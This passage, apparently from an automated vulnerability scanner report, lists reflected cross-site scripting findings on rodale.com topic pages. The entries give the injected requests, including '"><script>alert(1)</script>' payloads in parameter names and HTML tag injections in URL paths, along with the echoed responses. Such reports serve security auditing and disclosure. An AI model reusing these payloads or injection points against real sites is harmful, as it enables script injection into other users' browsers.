lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic8553c"><a>e044398c71 topic8553c">
...[SNIP]...

2.690. http://www.rodale.com/topic/menopause [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/menopause

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 50c3f"><a>1e4a93aec32 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/menopause50c3f"><a>1e4a93aec32 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:16:11 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1799
Expires: Thu, 10 Mar 2011 17:46:13 GMT
Date: Thu, 10 Mar 2011 17:16:14 GMT
Content-Length: 22477
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-menopause50c3f"><a>1e4a93aec32 node node-958">
...[SNIP]...

2.691. http://www.rodale.com/topic/menopause [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/menopause

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 36d93"><script>alert(1)</script>1b54a5eef84 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/menopause?36d93"><script>alert(1)</script>1b54a5eef84=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:15:22 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:45:23 GMT
Date: Thu, 10 Mar 2011 17:15:23 GMT
Content-Length: 31125
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/menopause?36d93"><script>alert(1)</script>1b54a5eef84=1" title="Register" class="moreLink">
...[SNIP]...

2.692. http://www.rodale.com/topic/mens-health [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/mens-health

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ea021"><a>f706e3b3f1a was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topicea021"><a>f706e3b3f1a/mens-health HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:15:26 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:45:28 GMT
Date: Thu, 10 Mar 2011 17:15:28 GMT
Content-Length: 22504
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topicea021"><a>f706e3b3f1a topicea021">
...[SNIP]...

2.693. http://www.rodale.com/topic/mens-health [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/mens-health

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c477a"><a>ca36d0c3cf2 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/mens-healthc477a"><a>ca36d0c3cf2 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:16:08 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:46:12 GMT
Date: Thu, 10 Mar 2011 17:16:12 GMT
Content-Length: 22483
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-mens-healthc477a"><a>ca36d0c3cf2 node node-958">
...[SNIP]...

2.694. http://www.rodale.com/topic/mens-health [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/mens-health

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 24a0e"><script>alert(1)</script>21b6fe9c6a1 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/mens-health?24a0e"><script>alert(1)</script>21b6fe9c6a1=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:15:24 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:45:26 GMT
Date: Thu, 10 Mar 2011 17:15:26 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 32816

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/mens-health?24a0e"><script>alert(1)</script>21b6fe9c6a1=1" title="Register" class="moreLink">
...[SNIP]...

2.695. http://www.rodale.com/topic/mental-health [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/mental-health

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8ecbf"><a>7ebc33ff547 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic8ecbf"><a>7ebc33ff547/mental-health HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:15:31 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:45:33 GMT
Date: Thu, 10 Mar 2011 17:15:33 GMT
Content-Length: 22510
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic8ecbf"><a>7ebc33ff547 topic8ecbf">
...[SNIP]...

2.696. http://www.rodale.com/topic/mental-health [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/mental-health

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3211b"><a>38f456c343d was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/mental-health3211b"><a>38f456c343d HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:16:29 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:46:30 GMT
Date: Thu, 10 Mar 2011 17:16:30 GMT
Content-Length: 22489
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-mental-health3211b"><a>38f456c343d node node-958">
...[SNIP]...

2.697. http://www.rodale.com/topic/mental-health [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/mental-health

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 68d50"><script>alert(1)</script>c16d0e101eb was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/mental-health?68d50"><script>alert(1)</script>c16d0e101eb=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:15:29 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:45:31 GMT
Date: Thu, 10 Mar 2011 17:15:31 GMT
Content-Length: 32755
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/mental-health?68d50"><script>alert(1)</script>c16d0e101eb=1" title="Register" class="moreLink">
...[SNIP]...

2.698. http://www.rodale.com/topic/mercury [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/mercury

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload fe8c2"><a>6f86ba8ee63 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topicfe8c2"><a>6f86ba8ee63/mercury HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:15:32 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:45:34 GMT
Date: Thu, 10 Mar 2011 17:15:34 GMT
Content-Length: 22492
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topicfe8c2"><a>6f86ba8ee63 topicfe8c2">
...[SNIP]...

2.699. http://www.rodale.com/topic/mercury [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/mercury

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c7d6e"><a>f4971b264e4 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/mercuryc7d6e"><a>f4971b264e4 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:16:05 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:46:07 GMT
Date: Thu, 10 Mar 2011 17:16:07 GMT
Content-Length: 22471
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-mercuryc7d6e"><a>f4971b264e4 node node-958">
...[SNIP]...

2.700. http://www.rodale.com/topic/mercury [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/mercury

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 63848"><script>alert(1)</script>6505238b3aa was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/mercury?63848"><script>alert(1)</script>6505238b3aa=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:15:29 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:45:31 GMT
Date: Thu, 10 Mar 2011 17:15:31 GMT
Content-Length: 32053
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/mercury?63848"><script>alert(1)</script>6505238b3aa=1" title="Register" class="moreLink">
...[SNIP]...

2.701. http://www.rodale.com/topic/milk-0 [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/milk-0

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 87cfa"><a>626685f7a52 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic87cfa"><a>626685f7a52/milk-0 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:15:34 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:45:36 GMT
Date: Thu, 10 Mar 2011 17:15:36 GMT
Content-Length: 22489
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic87cfa"><a>626685f7a52 topic87cfa">
...[SNIP]...

2.702. http://www.rodale.com/topic/milk-0 [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/milk-0

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ab03c"><a>4e5df4240a3 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/milk-0ab03c"><a>4e5df4240a3 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:16:19 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:46:24 GMT
Date: Thu, 10 Mar 2011 17:16:24 GMT
Content-Length: 22468
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-milk-0ab03c"><a>4e5df4240a3 node node-958">
...[SNIP]...

2.703. http://www.rodale.com/topic/milk-0 [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/milk-0

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 24994"><script>alert(1)</script>abf7401a2d2 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/milk-0?24994"><script>alert(1)</script>abf7401a2d2=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:15:32 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1799
Expires: Thu, 10 Mar 2011 17:45:33 GMT
Date: Thu, 10 Mar 2011 17:15:34 GMT
Content-Length: 30453
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/milk-0?24994"><script>alert(1)</script>abf7401a2d2=1" title="Register" class="moreLink">
...[SNIP]...

2.704. http://www.rodale.com/topic/mind-body-mood-advisor [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/mind-body-mood-advisor

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 15321"><a>22403a07420 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic15321"><a>22403a07420/mind-body-mood-advisor HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:15:29 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1799
Expires: Thu, 10 Mar 2011 17:45:31 GMT
Date: Thu, 10 Mar 2011 17:15:32 GMT
Content-Length: 22537
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic15321"><a>22403a07420 topic15321">
...[SNIP]...

2.705. http://www.rodale.com/topic/mind-body-mood-advisor [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/mind-body-mood-advisor

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2c20c"><a>342c6d7d62c was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/mind-body-mood-advisor2c20c"><a>342c6d7d62c HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:16:19 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:46:24 GMT
Date: Thu, 10 Mar 2011 17:16:24 GMT
Content-Length: 22516
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-mind-body-mood-advisor2c20c"><a>342c6d7d62c node node-958">
...[SNIP]...

2.706. http://www.rodale.com/topic/mind-body-mood-advisor [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/mind-body-mood-advisor

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e1ebd"><script>alert(1)</script>2a7ecaf8f42 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/mind-body-mood-advisor?e1ebd"><script>alert(1)</script>2a7ecaf8f42=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:15:27 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:45:29 GMT
Date: Thu, 10 Mar 2011 17:15:29 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 33246

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/mind-body-mood-advisor?e1ebd"><script>alert(1)</script>2a7ecaf8f42=1" title="Register" class="moreLink">
...[SNIP]...

2.707. http://www.rodale.com/topic/mindfulness-0 [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/mindfulness-0

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f057f"><a>f190cd529c6 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topicf057f"><a>f190cd529c6/mindfulness-0 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
